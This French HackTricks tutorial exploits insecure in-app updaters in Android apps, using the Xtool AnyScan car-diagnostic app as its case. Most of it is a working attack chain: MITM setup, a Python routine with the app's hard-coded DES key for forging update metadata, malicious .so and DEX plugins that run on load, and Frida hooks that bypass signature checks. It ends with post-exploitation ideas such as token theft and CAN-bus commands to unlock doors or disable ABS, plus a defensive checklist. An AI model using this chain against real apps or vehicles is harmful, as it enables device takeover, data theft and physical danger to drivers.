Mécanismes d'In-App Update non sécurisés – Remote Code Execution via Malicious Plugins
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
De nombreuses applications Android implémentent leurs propres canaux de mise à jour “plugin” ou “dynamic feature” au lieu d'utiliser le Google Play Store. Quand l'implémentation est vulnérable, un attaquant capable d'intercepter ou de manipuler le trafic de mise à jour peut fournir du code natif arbitraire ou du code Dalvik/ART qui sera chargé dans le processus de l'app, conduisant à une Remote Code Execution (RCE) complète sur le téléphone — et dans certains cas sur tout dispositif externe contrôlé par l'app (voitures, IoT, dispositifs médicaux …).
Cette page résume une chaîne de vulnérabilité réelle trouvée dans l'app de diagnostic automobile Xtool AnyScan (v4.40.11 → 4.40.40) et généralise la technique pour que vous puissiez auditer d'autres apps Android et exploiter la mauvaise configuration lors d'un engagement red-team.
0. Triage rapide : l'app dispose-t-elle d'un in‑app updater ?
Indices statiques à rechercher dans JADX/apktool :
- Chaînes : "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Endpoints réseau comme
/update
,/plugins
,/getUpdateList
,/GetUpdateListEx
. - Helpers crypto près des chemins de mise à jour (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders :
System.load
,System.loadLibrary
,dlopen
,DexClassLoader
,PathClassLoader
. - Chemins d'unzip écrivant sous app-internal ou external storage, puis chargeant immédiatement un
.so
/DEX.
Hooks runtime pour confirmer :
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. Identification d'un TrustManager TLS non sécurisé
- Décompilez l'APK avec jadx / apktool et localisez la stack réseau (OkHttp, HttpUrlConnection, Retrofit…).
- Recherchez un
TrustManager
personnalisé ou unHostnameVerifier
qui fait confiance aveuglément à tous les certificats :
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- Si présent, l'application acceptera n'importe quel certificat TLS → vous pouvez exécuter un proxy MITM transparent avec un self-signed cert :
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
Si TLS pinning est appliqué au lieu d'une logique 'trust-all' non sécurisée, voir :
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Rétro-ingénierie des métadonnées de mise à jour
Dans le cas d'AnyScan, chaque lancement de l'application déclenche un HTTPS GET vers :
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
Le corps de la réponse est un document XML dont les nœuds <FileData>
contiennent Base64-encoded, DES-ECB encrypted JSON décrivant chaque plugin disponible.
Typical hunting steps:
- Localisez la routine crypto (e.g.
RemoteServiceProxy
) et récupérez :
- algorithme (DES / AES / RC4 …)
- mode d'opération (ECB / CBC / GCM …)
- clé / IV codée en dur (généralement constantes DES 56‑bit ou AES 128‑bit)
- Réimplémentez la fonction en Python pour decrypt / encrypt les métadonnées:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
Notes seen in the wild (2023–2025) :
- Les métadonnées sont souvent du JSON-within-XML ou protobuf ; des algorithmes de chiffrement faibles et des clés statiques sont fréquents.
- De nombreux updaters acceptent HTTP en clair pour le téléchargement du payload, même si les métadonnées transitent via HTTPS.
- Les Plugins décompressent fréquemment dans le stockage interne de l'app ; certains utilisent encore le stockage externe ou l'ancienne option
requestLegacyExternalStorage
, permettant la manipulation inter-app.
3. Créer un plugin malveillant
3.1 Chemin de la bibliothèque native (dlopen/System.load[Library])
- Prenez n'importe quel ZIP de plugin légitime et remplacez la bibliothèque native par votre payload:
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- Mettez à jour les métadonnées JSON de sorte que
"FileName" : "PWNED.zip"
et"DownloadURL"
pointent vers votre serveur HTTP. - Ré-encrypter + encoder en Base64 le JSON modifié et le copier dans le XML intercepté.
3.2 Chemin de plugin basé sur Dex (DexClassLoader)
Certaines applications téléchargent un JAR/APK et chargent du code via DexClassLoader
. Construisez un DEX malveillant qui se déclenche au chargement :
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
Si la cible appelle Class.forName("pwn.Dropper")
, votre initialiseur statique s'exécute ; sinon, énumérez par réflexion les classes chargées avec Frida et appelez une méthode exportée.
4. Livrer le payload avec mitmproxy
addon.py
: exemple qui remplace silencieusement les métadonnées originales :
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
Lancer un serveur web simple pour héberger le ZIP/JAR malveillant :
python3 -m http.server 8000 --directory ./payloads
Lorsque la victime lance l'application, celle-ci va :
- récupérer notre XML falsifié via le canal MITM ;
- le déchiffrer et l'analyser avec la crypto codée en dur ;
- télécharger
PWNED.zip
ouplugin.jar
→ décompresser dans le stockage privé ; - charger le
.so
ou la DEX incluse, exécutant instantanément notre code avec les permissions de l'app (caméra, GPS, Bluetooth, système de fichiers, …).
Parce que le plugin est mis en cache sur le disque, la backdoor persiste après les redémarrages et s'exécute à chaque fois que l'utilisateur sélectionne la fonctionnalité concernée.
4.1 Contournement des vérifications de signature/hash (lorsqu'elles sont présentes)
Si l'updater valide les signatures ou les hash, hooker la vérification pour qu'elle accepte toujours le contenu de l'attaquant :
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
Envisagez également de simuler les méthodes du fournisseur telles que PluginVerifier.verifySignature()
, checkHash()
, ou de court‑circuiter la logique de contrôle des mises à jour en Java ou JNI.
5. Autres surfaces d'attaque dans les mécanismes de mise à jour (2023–2025)
- Zip Slip path traversal lors de l'extraction de plugins : des entrées malveillantes comme
../../../../data/data/<pkg>/files/target
écrasent des fichiers arbitraires. Toujours sanitiser les chemins des entrées et utiliser des allow‑lists. - External storage staging : si l'app écrit l'archive sur le stockage externe avant de la charger, toute autre app peut la modifier. Scoped Storage ou le stockage interne de l'application évitent cela.
- Cleartext downloads : métadonnées via HTTPS mais payload via HTTP → substitution MITM simple.
- Incomplete signature checks : comparer seulement le hash d'un seul fichier, pas de l'archive complète ; ne pas lier la signature à la clé du développeur ; accepter n'importe quelle clé RSA présente dans l'archive.
- React Native / Web-based OTA content : si les bridges natifs exécutent du JS provenant d'une OTA sans signature stricte, une exécution de code arbitraire dans le contexte de l'app est possible (par ex., flux de type CodePush-like non sécurisés). Assurez detached update signing et une vérification stricte.
6. Post-Exploitation Ideas
- Voler les cookies de session, tokens OAuth, ou JWT stockés par l'app.
- Déployer un APK de seconde étape et l'installer silencieusement via
pm install
si possible (certaines apps déclarent déjàREQUEST_INSTALL_PACKAGES
). - Abuser de tout matériel connecté – dans le scénario AnyScan vous pouvez envoyer des commandes OBD‑II / CAN bus arbitraires (déverrouiller les portes, désactiver l'ABS, etc.).
Detection & Mitigation Checklist (blue team)
- Évitez le chargement dynamique de code et les mises à jour hors‑magasin. Préférez les mises à jour gérées par Play. Si les plugins dynamiques sont indispensables, concevez‑les comme des bundles contenant uniquement des données et conservez le code exécutable dans l'APK de base.
- Appliquez correctement TLS : pas de custom trust‑all managers ; déployez le pinning lorsque possible et une configuration réseau durcie qui interdit le trafic en clair.
- Ne téléchargez pas de code exécutable en dehors de Google Play. Si nécessaire, utilisez detached update signing (p.ex., Ed25519/RSA) avec une clé détenue par le développeur et vérifiez avant de charger. Liez métadonnées et payload (longueur, hash, version) et échouez en mode fermé.
- Utilisez de la crypto moderne (AES‑GCM) avec des nonces par message pour les métadonnées ; retirez les clés hard‑codées côté client.
- Validez l'intégrité des archives téléchargées : vérifiez une signature couvrant chaque fichier, ou au minimum vérifiez un manifeste de hash SHA‑256. Rejetez les fichiers supplémentaires/inconnus.
- Stockez les téléchargements dans le stockage interne de l'app (ou Scoped Storage sur Android 10+) et utilisez des permissions de fichiers qui empêchent la falsification inter‑app.
- Défendez‑vous contre Zip Slip : normalisez et validez les chemins d'entrée zip avant extraction ; rejetez les chemins absolus ou les segments
..
. - Envisagez Play “Code Transparency” pour permettre à vous et aux utilisateurs de vérifier que le code DEX/native livré correspond à ce que vous avez construit (complémentaire mais ne remplace pas APK signing).
References
- NowSecure – Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers – Dynamic Code Loading (risks and mitigations)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.